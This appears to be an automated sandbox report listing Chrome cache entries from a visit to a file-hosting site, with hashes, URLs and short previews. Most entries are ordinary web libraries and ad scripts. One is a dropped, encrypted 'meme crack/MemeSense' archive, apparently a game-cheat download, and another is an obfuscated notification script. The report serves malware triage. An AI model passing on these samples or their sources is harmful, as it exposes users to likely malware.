Preview:	!function s(r,a,h){function l(e,t){if(!a[e]){if(!r[e]){var i="function"==typeof require&&require;if(!t&&i)return i(e,!0);if(u)return u(e,!0);var o=new Error("Cannot find module '"+e+"'");throw o.code="MODULE_NOT_FOUND",o}var n=a[e]={exports:{}};r[e][0].call(n.exports,function(t){return l(r[e][1][t]\|\|t)},n,n.exports,s,r,a,h)}return a[e].exports}for(var u="function"==typeof require&&require,t=0;t<h.length;t++)l(h[t]);return l}({1:[function(t,e,i){"use strict";var o=t("./../../../common/js/cds"),n=function(t,e){this._config=e,this._cds=new o("AUD",t),this._aud={}};n.prototype.init=function(t){this._cds.init(t,this._config.cdn+this._config.cds,"adlk.aud",function(t){this._aud=t}.bind(this),null)},n.prototype.destroy=function(){this._cds&&(this._cds.destroy(),this._cds=null)},n.prototype.count=function(t){t&&(this._aud[t]=(this._aud[t]\|\|0)+1,this._cds.send("adlk.req",t))},n.prototype.allow=function(t,e){return!e\|\|(this._aud[t]\|\|0)<e},n.prototype.ready=function(t,e){this._cds.ready(t,e)},e.e

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x824, components 3
Category:	downloaded
Size (bytes):	31870
Entropy (8bit):	4.37308367242378
Encrypted:	false
SSDEEP:	384:alr/DX7IpHyQefgKdgZbcEyUjQvsD5swzJM:w/DX7IxzKdgZJbdJM
MD5:	8E2A0E56AE25B282B437F9D5BD300D96
SHA1:	5D4BA26731EE84BA9BBC5487312162B826EDE550
SHA-256:	B48A7837A73459A7D6F545CB45A810533D9BF006A54077B2CA3BD62DD6F6315D
SHA-512:	A2529EFB9941F92A6C84C40214BC9C7C97AB70DD69040238B82F9422BFB5424B41E3F56146017C4A9FDB545B17F84058E03C8179FD4F6385E542D799DF5D7A4B
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/img/bg/flake-slider-header.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5aaa53e0-8413-0a44-88a2-af9827a5e901" xmpMM:DocumentID="xmp.did:89697D20CB3211E8BFD7E2E2A2AF5AE8" xmpMM:InstanceID="xmp.iid:89697D1FCB3211E8BFD7E2E2A2AF5AE8" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d1913ab5-0429-d942-a7a7-87386829cec2" stRef:documentID="adobe:docid:photoshop:5262d1c0-5654-c04f-af53-5c69d3b30458"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8320), with CRLF line terminators
Category:	downloaded
Size (bytes):	326250
Entropy (8bit):	5.421250668302453
Encrypted:	false
SSDEEP:	6144:VXkUlEbvNieePi95rjloRJyVeZZpFSs3JxtkfRDIvIYQeGSpro:J+Nie+i9wyVeZZpFSs5xtkfRkFGSS
MD5:	BAAFD279238B06063FA9E94E44AD0F4C
SHA1:	DE6E785D6C8E8F05A61EBD6662ACC9600856B8C5
SHA-256:	6D45DBAF8957093A876B5462B435032FB48109CF5FF11EC0F9E9F9449F64FA5A
SHA-512:	142A20B8377FB0B47FA052C3FEE2A7F6D60680F3B1C3763C296C89A1B9271428FAA7E9D2985E2512D8725E9DFFFAAC56F5848DFD7F9B268B38E3F2F01BA1A6E5
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/plugins.js
Preview:	../* jQuery Nice Select - v1.0.. https://github.com/hernansartorio/jquery-nice-select.. Made by Hern.n Sartorio */..!function(e){e.fn.niceSelect=function(t){function s(t){t.after(e("<div></div>").addClass("nice-select").addClass(t.attr("class")\|\|"").addClass(t.attr("disabled")?"disabled":"").attr("tabindex",t.attr("disabled")?null:"0").html('<span class="current"></span><ul class="list"></ul>'));var s=t.next(),n=t.find("option"),i=t.find("option:selected");s.find(".current").html(i.data("display")\|\|i.text()),n.each(function(t){var n=e(this),i=n.data("display");s.find("ul").append(e("<li></li>").attr("data-value",n.val()).attr("data-display",i\|\|null).addClass("option"+(n.is(":selected")?" selected":"")+(n.is(":disabled")?" disabled":"")).html(n.text()))})}if("string"==typeof t)return"update"==t?this.each(function(){var t=e(this),n=e(this).next(".nice-select"),i=n.hasClass("open");n.length&&(n.remove(),s(t),i&&t.next().trigger("click"))}):"destroy"==t?(this.each(function(){var t

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2162
Entropy (8bit):	4.655663585165413
Encrypted:	false
SSDEEP:	48:qkCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:glCUybFuuI9j3obFuBi/Wbz
MD5:	AA489CAF1E3F2BF852E2C60E6408B067
SHA1:	9960B9D960FD5CA70683AA20C78A4F962C549168
SHA-256:	37A31642AF0A7FE695ED0FD68A06A55AF44E854D083DC7F5D0E70535F0189AE0
SHA-512:	EBFFC578839A404557FAC7B51511D3D5FB1BA7711DABA34480FB89875740FFBB90FBCC98986F2F1F5399B42E9707F851301D740477D877FE471F69A061F49C25
Malicious:	false
Reputation:	unknown
URL:	https://onetag-sys.com/usync/?pubId=2a897e3f18e6769&cb=1718442902185
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {. consentString = params.substring(index + GDPR.length).split("&")[0];. }.. index = params.indexOf(GDPR_APPLIES);. if (index >= 0) {. var tmp = params.substring(index + GDPR_APPLIES.length).split("&")[0];. gdprAppliesValue = (tmp == null \|\| tmp === "" \|\| tmp === "1") ? "1" : "0";. }.. index = params.indexOf(US_PRIVACY);. if (index >= 0) {. usPrivacy = params.substring(index + US_PRIVACY.length).split("&")[0];. }..

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32001), with CRLF line terminators
Category:	downloaded
Size (bytes):	45483
Entropy (8bit):	5.421205425443187
Encrypted:	false
SSDEEP:	768:7AGHCAGHzQO8nAAe1l6bV6JUOxOyywsvQm77xjBFH/Sx1iJb2G:7AGHCAGHwe26JUOxOOUjBb
MD5:	9DF3CFDCC9B72F1AA24E2E114455AE7A
SHA1:	E6AC207CDB6C4591F2D39F2A645F6DBF42534F89
SHA-256:	5AB5F19F9BD4A4DDCF14235FC1684EEFE7CFBFBC33F0A1FCE661B13DE43092BE
SHA-512:	F324195BE1DD10B907F56B118D23AEA270121ACE3808F84E790C3EEB83081848142C0A75544C08DF6F8FC092583EB7CD7D579147233BEC085B470930D6CD84D0
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/jquery.mCustomScrollbar.concat.min.js
Preview:	/* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) /..!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b\|\|window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1l)),0!==m\|\|0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j=q,m=q,l=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j=r,m=r,l=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f\|\|f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f)

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HxkY:b
MD5:	3DA23188334183CF17A25B9A62A2CD00
SHA1:	BFB04222E6149481A2F599F000E0DFF6D6CFE4E7
SHA-256:	C2D59CAF92136E1F4270215E09467A02C469DB20AF0AC8C85B2B70E233D781BF
SHA-512:	2AB0F71EFFE632AFE2D10129A156A4400D3D4AD13F0B8783380C2C30F7821AFF6E4A32E71CFC2FB6A957F6938BD511C81D7EA90686EDD1E1C1E4BC51459C9044
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnkInAUaje26xIFDV033xA=?alt=proto
Preview:	CgkKBw1dN98QGgA=

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3205)
Category:	downloaded
Size (bytes):	4566
Entropy (8bit):	5.212766337153335
Encrypted:	false
SSDEEP:	96:pi9YlpiA/ncovvSPN4sNFf/Tc5lazXrQFZBQqg+BY8wPMW9SGZwPMpqi1u9JXj:cY2A/nckvSBf/webrQFZPgCY8wH9/Zw7
MD5:	6E0579662FCF9CFDA826DB5676F515A9
SHA1:	B0F749D8EF2E0E2A1FFB12FFB6491B990F8F41DB
SHA-256:	3DD4F53067DD0F0BD875BCF7ACEBFB72E908B5329DA8F19AB48FBBE4AA10DAA5
SHA-512:	862C2EA4E78E6956C77B646C3823816E86180150262F2AD7B163BC40522ED1CA81415745748C0D0A4AC7869C567019D58A1583D5EAE4F50BCC6382B3E1BD4D07
Malicious:	false
Reputation:	unknown
URL:	https://ads.themoneytizer.com/s/gen.js?type=2
Preview:	if (themoneytizer_async != 1) {. var confiantWrap = function confiantWrap(a, b, c, d, e, f, g) { 'v2.202005201049'; function h(a) { for (var b in l) if (b === a && l[b]) return l[b]; return null } function i(a) { if ("string" != typeof a) return a; var b = a.match(/[^\u0000-\u024F\u1E00-\u1EFF\u2C60-\u2C7F\uA720-\uA7FF]/g); if (!b) return a; for (var c = 0; c < b.length; c++)a = a.replace(b[c], encodeURIComponent(b[c])); return a } function j(a) { return a = i(a), (s(a) \|\| "")[y]("/", "_")[y]("+", "-") } function k(b, c, e, g) { var h = D + t(b) + "&d=" + c, i = "err__" + 1 * new Date; q[i] = g; var j = "<" + w + ' type="text/java' + w + '">window["' + d + '"]={};' + 'window["' + d + '"]["tpid"]="' + b + '";' + 'window["' + d + '"]["' + b + '"]=' + r.stringify(e) + ";" + "</" + w + ">", k = "<" + w + " on" + z + '="void(' + i + '())" ' + x + '="' + h + '" type="text/java' + w + '" ></' + w + ">"; f && (k = "<" + w + " on" + z + '="void(' + i + '())" ' + '" type="text/java' + w + '"

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
URL:	https://ads.adlook.me/vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Foxy.st%2Fd%2FSmUh&top=&pt=inread&_ts=1718442894727
Preview:	{}

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	39
Entropy (8bit):	3.9359357962188977
Encrypted:	false
SSDEEP:	3:hJAy63sdIjhn:hJlajhn
MD5:	D4FD4915E6392613A8107C4639D83C75
SHA1:	9AD414034D3B131C27FF051DC906FEE1BDF251C5
SHA-256:	E67819CE318456EB25FC7603C1EFEE0B117C3EB32817D874CAC660031AB9BBA6
SHA-512:	7973B702C633E026A3D421BAB2C577F9AC64D98DA6DDAD8EE662C39D1E75C0C0E49877D92D0691467CFC7F0AABC58B94FEE9463305484B634A0B65CC194685ED
Malicious:	false
Reputation:	unknown
Preview:	rubicon,id5,dbm,firstId,pub_common,uid2

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	10692949
Entropy (8bit):	7.99986296835301
Encrypted:	true
SSDEEP:	196608:M2DQaY4OYWzhxvc0mNwNsvFOZ/cAuB2d8bJ2QSJ3yIbcc:MAhWdBcA9Rrnd8bJ2DJCIbcc
MD5:	03E39E86DF2AA553B7479DAFDC2007C3
SHA1:	B504C0D4B912BED2D94C448DA898D4FAA5E5ADA3
SHA-256:	A5B7903D6C4BC37E52F37B8BCA2BD713D4F4FB6D547E28DBE3BF9A946B9B0B48
SHA-512:	CCED3F6E63F38CDC06883CA01C4E64C2D5757F6248F53D4AC8B102DCAE7B6A8963E7BD80C8E23285CBEE137AF77A859CA296FCCB703A40AAA7A54AF02E29FE28
Malicious:	false
Reputation:	unknown
Preview:	PK.........L.X................meme crack/PK.........L.X................meme crack/MemeSense/PK.........L.X................meme crack/MemeSense/fonts/PK...........X...<...x/..(...meme crack/MemeSense/fonts/esp-icons.ttf.]......VL...}L>..K......Rff.)3...2.S.N.y...S..[......T.I.e.}.:.I.dI....~.+.mF7.. .e....nu.....G.....].&....:W}.$..Xw.7............""..y#<...s7.....j''............UU.-........z[.JEb..F....w..9.U.#.....m.pG.......UI....H....L-<:...I=fJ...H..G%..g.w....Q.......W..%.0.+.i.i<1.J.......\|....y."...-.w........E.tn.....Q&N..\|.XW..z..kw....K.+.k......`.o.......>z.b.O\......S.>}..^..W.....U.z.....5.%.....1..g.H.....-..J?`.....%..=.......E........,.S.sq...).zg....Yf..V-.-.YV.-..&O...Em.z}...$.'h$.9<...`..-..^u..~/.68=76.......r...'.f.{.Q.....7..Qv......s...h.A...1./.D..FNS.....ZZu_...M.APq.iF...jh...U.5U6t....YE.d...S9.U....W.t....z..9...MYA...Y..UMV.fp...\|..T...R....E....P..y...W.......}n...Z%.;..}..y.(\)..V..P.It...U.S....+*....RW.

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65439)
Category:	downloaded
Size (bytes):	95692
Entropy (8bit):	5.282012120921168
Encrypted:	false
SSDEEP:	1536:8gsIRI3jDao90l8Rncu0xazdO/HkucoXr7zfbUbL40KJg+:1cao90lYncpaz83zfb84v/
MD5:	37EFCC7CC1C5EF52A27433BFC0E65E5E
SHA1:	7779BB642082C1E5DD073324F5F199831953C103
SHA-256:	26E14E8F2CCD855240A903708F250499C1696FB13A5F76D9E7851AF290922B4F
SHA-512:	205438F036B64E943E56BE5C99CF221462DED40B5C5484C4D8576C9D3A9007394880C51A557C2ECEB2C27EB0873B582EC13A6893245B813F5934809A65635658
Malicious:	false
Reputation:	unknown
URL:	https://cdn.id5-sync.com/api/1.0/id5-api.js
Preview:	/*. @id5io/id5-api.js. * @version v1.0.66. * @link https://id5.io/. * @license Apache-2.0. */.!function(){"use strict";function r(t,e){var i,r=Object.keys(t);return Object.getOwnPropertySymbols&&(i=Object.getOwnPropertySymbols(t),e&&(i=i.filter(function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})),r.push.apply(r,i)),r}function d(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{};e%2?r(Object(i),!0).forEach(function(e){l(t,e,i[e])}):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(i)):r(Object(i)).forEach(function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(i,e))})}return t}function c(e,t,i,r,s,n,o){try{var a=e[n](o),c=a.value}catch(e){return void i(e)}a.done?t(c):Promise.resolve(c).then(r,s)}function s(a){return function(){var e=this,o=arguments;return new Promise(function(t,i){var r=a.apply(e,o);function s(e){c(r,t,i,s,n,"next",e)}function n(e){c(r,t,i,s,n,"throw",e)}s(void 0)})

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (53611), with no line terminators
Category:	downloaded
Size (bytes):	53632
Entropy (8bit):	5.555811104941071
Encrypted:	false
SSDEEP:	768:qJ+u3eqQ3Iq9KxhKP3w9KDow9K7P25AYhAhmZK/b3Fw9K/NKKEFtnuEYVD/ws6Hq:qN9qsWP46oijK
MD5:	EF4A544278ADE351C941D5F1DC911AF3
SHA1:	EE247CF0E207E5592457C84CA272FC637ABAB8BE
SHA-256:	94E60AB438F17F0A9720EAC38A985353D04E941E0BC589F5D3E03450AF8E89E7
SHA-512:	07510EBD7A9BE04902563F41CC9283BAE455BD6293CB265D59601D6DE31F5A20C0C1826BBAABA32E8867AB29EE581C76E41B368575744B88E675242C564E0581
Malicious:	false
Reputation:	unknown
URL:	https://system-notify.app/f/sdk.js?z=651407
Preview:	(function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu2HVD0rPywXVzW==","CMfFDxnLCG==","CMvXDwvZDa==","B25bBhjLywr5u3vIC2nYAwjLza==","yxnZAwDU","z2v0","z2v0rwXLBwvUDhncEunSyxnZtMfTzq==","w3jHxsbWzxjTAxnZAw9UigrLBMLLzdOGywXYzwfKEt0=","y2XPy2S=","B25SB2fK","w3jHxsb1CMWGAxmGzw1WDhK=","C2nVCgu=","yxbWBgLJyxrPB24VANnVBG==","C3vIsuqY","DMvUzg9Y","C3rHDhvZ","Dw5YzwDPC3rLCG==","y3jLyxrLrwXLBwvUDa==","DxnLCL9Pza==","AgvHzgvYCW==","B3bLBLn1yNnJCMLWDgLVBLn0B3jL","DMvYC2LVBG==","CMvHzhDYAxrL","ywn0Aw9UCW==","AxndB250zw50rgfYA2vU","C3DFDMvYC2LVBG==","CMvHzg9UBhK=","C2XLzxa=","CMvXDwvZDfbLCM1PC3nPB25tzwXLy3rVCG==","C2vUzev2zw50","ihf1AwvYzq==","ihzVCNjLyMjL","ntK2","zw5KCg9PBNq=","x19HD2fPDgvY","Ahr0Chm6lY91AwrZEw5JlM5LDc9ZEw5Jp3vZzxjFAwq9","DxnLCKfNzw50","Aw5ZDgfSBgLUzW==","zw5KC1DPDgG=","nZC0","C2v0",

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	8217
Entropy (8bit):	4.3736511627397565
Encrypted:	false
SSDEEP:	192:S9LBKa7a17t7hzIeA4Wl5Cn9JBtnReFTTYUEwI+aqN:El7GR9seOl5AREbINS
MD5:	CC54F0829767B49845F9EFE8EC4C7347
SHA1:	82A844CF7B6D217983AAD02E036F4E983020E1E6
SHA-256:	6A62E58DD62C1F48F9E28869A685DAD62E2FAC04B750FFE8C38B870AA2BCC4B6
SHA-512:	3B85E6BD4A46ACF9884CD83E89151CB3F0B043067BAE0FD80C6DE2AD0747363DC8676A46391352FBA4D83FDED4960A267DEE6141FCDD773D78AA8699BE82E5B0
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/img/oxy-logo.svg
Preview:	<svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428C249.422 187.744 256.94 161.059 254.719 134.276C252.498 107.493 240.686 82.4112 221.455 63.6388C202.223 44.8663 176.863 33.6643 150.034 32.0908C123.205 30.5174 96.7099 38.6782 75.4157 55.0739C54.1215 71.4695 39.459 94.9987 34.1221 121.338C28.7867 147.671 33.1303 175.044 46.3547 198.432C46.3583 198.438 43.9755 193.994 43.979 194L34.9548 202.007C28.2874 207.922 17.4068 206.463 12.6867 198.902C10.1754 194.88 7.93551 190.773 6.5891 186.484C-0.623894 163.509 -1.98813 138.922 2.85815 115.004C9.72043 81.1354 28.574 50.8807 55.9548 29.7986C83.3356 8.71653 117.404 -1.77691 151.902 0.246304C186.399 2.26952 219.008 16.6735 243.737 40.8117C268.465 64.9499 283.653 97.2011 286.509 131.64C289.366 166.078 279.698 200.39 259.284 228.273C238.87 256.155

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3611
Entropy (8bit):	5.281323278896695
Encrypted:	false
SSDEEP:	96:yzewvyMeuI4QwQP3QLwh4/5rM6Cn3FrJpm7:QfBeuImrSFr2
MD5:	35ECA1A0D751F6C05DD676D894195C42
SHA1:	8D9A064CB5EBF3CC47EDBFA4555A5D2E41A9FF28
SHA-256:	094734B75C171CA40FA37CE88D1A8785CEF99A457A9A725DBCDD5F5F22E1B2EC
SHA-512:	B9A7EAB1086040A8870A73A35171902482AC9840681579050531563F6C0AA2EDB17FE517939284489A6CBE7298DB6FD82C045FCD508FD5970EED930ED7C83811
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/js/download2.js
Preview:	//download.js v3.0, by dandavis; 2008-2014. [CCBY2] see http://danml.com/download.html for tests/usage..// v1 landed a FF+Chrome compat way of downloading strings to local un-named files, upgraded to use a hidden frame and optional mime..// v2 added named files via a[download], msSaveBlob, IE (10+) support, and window.URL support for larger+faster saves than dataURLs..// v3 added dataURL and Blob Input, bind-toggle arity, and legacy dataURL fallback was improved with force-download mime and base64 support....// data can be a string, Blob, File, or dataURL...... ........ ........ ..function download(data, strFileName, strMimeType) {......var self = window, // this script is only for browsers anyway.......u = "application/octet-stream", // this default mime also triggers iframe downloads....m = strMimeType \|\| u, ....x = data,....D = document,....a = D.createElement("a"),....z = function(a){return String(a);},............B = self.Blob \|\| self.MozBlob \|\| self.WebKitBlob \|\| z,....BB = self.

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	79303
Entropy (8bit):	4.733740523228664
Encrypted:	false
SSDEEP:	1536:0TLYg3UN4ONiBYjuf7G8a3e7qrVf15Pjcc5q+2kd40o40ss/xr/dcedkPwyrMzht:01BYjqGJ3e7qrdIc5JO0o40ss7yrMxq2
MD5:	4D18D138845CB891049AFA7B54FB9173
SHA1:	BEF0E9092EA4510A69BA4F4D78979D21E45B2781
SHA-256:	9E0A69222639714979319ABD225AEE347D25C781030300B0F7F77B91E8E37D27
SHA-512:	5A658BB7710EA375F2A71A14E9E608BE5CBEA0A39860B6482AED5BE80EDD54F09213CAEABE39E0A687C53B6BF85D50DAF6986ECD7F75FEA9BAB4AD6183B05429
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/responsive.css?ver=5
Preview:	/* Medium Layout: 1280px. */.@media (min-width: 1170px) and (max-width: 1366px){..slider-heading{. left: 9.7%.}..slider-single-item.slider-single-item-2 .slider-heading {. right: 9.7%;.}. .slider-single-item.slider-single-item-2 .slider-heading-content {. right: 9.7%;.}. .slider-single-item.slider-single-item-2 .slider-heading-btns {. right: 9.7%;.}. .slider-heading-content {. left: 9.7%;.}. .slider-heading-btns {. left: 9.7%;.}..slider-single-item.slider-single-item-2 .slider-image0, .slider-image1 {. left: 3%;.}....slider-image0, .slider-image1 {. right: 0%;.}..single-slider-item img.position-img-2 {. right: -9%;. top: 6%;.}..single-slider-item img.position-img {. top: 1%;. animation:none;.}..team-social-links {. left: 60px;.}... }.@media only screen and (min-width: 992px) and (max-width: 1200px) {... .single-slider-item img.position-img-2 {. right: -2%;. top: 6%;. width: 43%;.}.. .slicknav_menu {. display:none

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	79303
Entropy (8bit):	4.733740523228664
Encrypted:	false
SSDEEP:	1536:0TLYg3UN4ONiBYjuf7G8a3e7qrVf15Pjcc5q+2kd40o40ss/xr/dcedkPwyrMzht:01BYjqGJ3e7qrdIc5JO0o40ss7yrMxq2
MD5:	4D18D138845CB891049AFA7B54FB9173
SHA1:	BEF0E9092EA4510A69BA4F4D78979D21E45B2781
SHA-256:	9E0A69222639714979319ABD225AEE347D25C781030300B0F7F77B91E8E37D27
SHA-512:	5A658BB7710EA375F2A71A14E9E608BE5CBEA0A39860B6482AED5BE80EDD54F09213CAEABE39E0A687C53B6BF85D50DAF6986ECD7F75FEA9BAB4AD6183B05429
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/responsive.css?ver=5
Preview:	/* Medium Layout: 1280px. */.@media (min-width: 1170px) and (max-width: 1366px){..slider-heading{. left: 9.7%.}..slider-single-item.slider-single-item-2 .slider-heading {. right: 9.7%;.}. .slider-single-item.slider-single-item-2 .slider-heading-content {. right: 9.7%;.}. .slider-single-item.slider-single-item-2 .slider-heading-btns {. right: 9.7%;.}. .slider-heading-content {. left: 9.7%;.}. .slider-heading-btns {. left: 9.7%;.}..slider-single-item.slider-single-item-2 .slider-image0, .slider-image1 {. left: 3%;.}....slider-image0, .slider-image1 {. right: 0%;.}..single-slider-item img.position-img-2 {. right: -9%;. top: 6%;.}..single-slider-item img.position-img {. top: 1%;. animation:none;.}..team-social-links {. left: 60px;.}... }.@media only screen and (min-width: 992px) and (max-width: 1200px) {... .single-slider-item img.position-img-2 {. right: -2%;. top: 6%;. width: 43%;.}.. .slicknav_menu {. display:none

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31086
Entropy (8bit):	5.446469567840123
Encrypted:	false
